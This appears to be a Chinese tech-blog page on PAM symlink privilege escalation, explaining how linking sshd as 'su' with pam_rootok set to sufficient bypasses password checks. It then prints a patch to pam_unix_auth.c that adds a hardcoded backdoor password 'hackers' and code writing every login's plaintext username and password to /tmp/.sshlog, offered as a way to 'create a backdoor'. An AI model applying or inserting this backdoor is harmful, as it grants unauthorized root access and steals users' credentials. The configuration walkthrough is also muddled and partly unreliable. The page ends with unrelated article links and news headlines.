当前位置: 首页 > news >正文

PAM软连接提权

文章目录

    • 概要
    • PAM软连接

概要

PAM软链接提权利用的原理主要依赖于PAM(可插拔认证模块)配置文件的特性。具体来说,它利用了以下几个关键点:

PAM认证机制:PAM允许系统管理员通过配置文件灵活地管理用户认证过程。在SSH服务中,如果启用了PAM认证,系统会在用户登录时调用PAM模块进行身份验证。
软链接的使用:攻击者可以创建一个指向sshd文件的软链接,并将其命名为su(或其他名称)。当SSH服务启动时,它会根据PAM配置文件查找对应的模块。
pam_rootok.so模块:pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
PAM配置文件的控制:在PAM配置文件中,如果控制标志设置为sufficient,那么只要pam_rootok模块检测到用户的UID为0(即root用户),就会允许认证成功。这意味着即使输入了错误的密码,只要满足UID为0的条件,用户就可以获得root权限。
绕过正常验证:通过这种方式,攻击者可以绕过正常的密码验证,利用软链接实现提权,从而获得对系统的控制。

PAM软连接

1.可以查看 /etc/ssh/sshd_config 文件的UsePAM设置。来确认是否开启PAM认证。
2.修改PAM配置文件
auth required pam_securetty.so//要求在安全终端上进行身份验证。
auth required pam_unix.so shadow nullok//使用Unix认证,允许空密码(但并不推荐)。
auth required pam_nologin.so//检查是否存在nologin文件,防止不允许的用户登录。
account required pam_unix.so//用于账户管理的Unix认证。
password required pam_cracklib.so retry=3//使用密码复杂性检查,允许用户最多重试3次。
password required pam_unix.so shadow nullok use_authtok//用于更新密码的Unix认证,允许空密码,使用先前的身份验证令牌。
session required pam_unix.so//处理用户会话的相关操作。
3.将PAM配置文件中控制标志为sufficient,更改pam_rootok模块检测uid为0(root)

也可以修改配置,创建后门
修改配置:Linux-PAM/modules/pam_unix/pam_unix_auth.c配置后门

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 
name = p = NULL;

相关文章:

  • 【HarmonyOS NEXT星河版开发学习】综合测试案例-各平台评论部分
  • 单片机驱动彩屏最简方案:单片机_RA8889最小开发板驱动控制TFT彩屏介绍(二)硬件电路设计
  • 一文解决---IDEA汉化问题(含中英文切换)
  • 基于单片机的教室人数自动统计系统设计
  • Spring Boot整合Sentry
  • 九:《Python基础语法汇总》— 模块异常处理
  • k8s 进阶实战笔记 | Ingress-traefik(一)
  • 编译运行 llama.cpp (vulkan, Intel GPU SYCL)
  • 22 Message 组件
  • NRC-SIM:基于Node-RED的多级多核缓存模拟器
  • Python爬虫——简单网页抓取(实战案例)小白篇
  • 深度学习——超大病理图像mask的保存与读取
  • flutter 中 ssl 双向证书校验
  • uniapp检测手机是否打开定位权限Vue3-直接复制粘贴
  • 实现Kruskal算法连通游戏地图地牢
  • 设计模式 3 单例模式
  • JAVA后端程序拉取私人仓库的npm包并将该程序打包成jar包
  • XSS DOM破坏实战案例
  • 基于x86 平台opencv的图像采集和seetaface6的人脸跟踪功能
  • 设备运维故障排查与修复技巧
  • 象屿集团:对去化压力大、市场有效需求不足区域坚决暂停投资,打造多元上市路径
  • 习近平致电祝贺默茨当选德国联邦总理
  • 于东来再次回应玉石质疑:邀请前往胖东来深入考察,随时欢迎各方调查
  • 预告:央行等部门将发声,介绍“一揽子金融政策支持稳市场稳预期”有关情况
  • 五一假期上海两大机场客流量超193万人次,创历年同期最高
  • 机关食堂向游客开放的重庆荣昌区,“消费市场迎来历史性突破”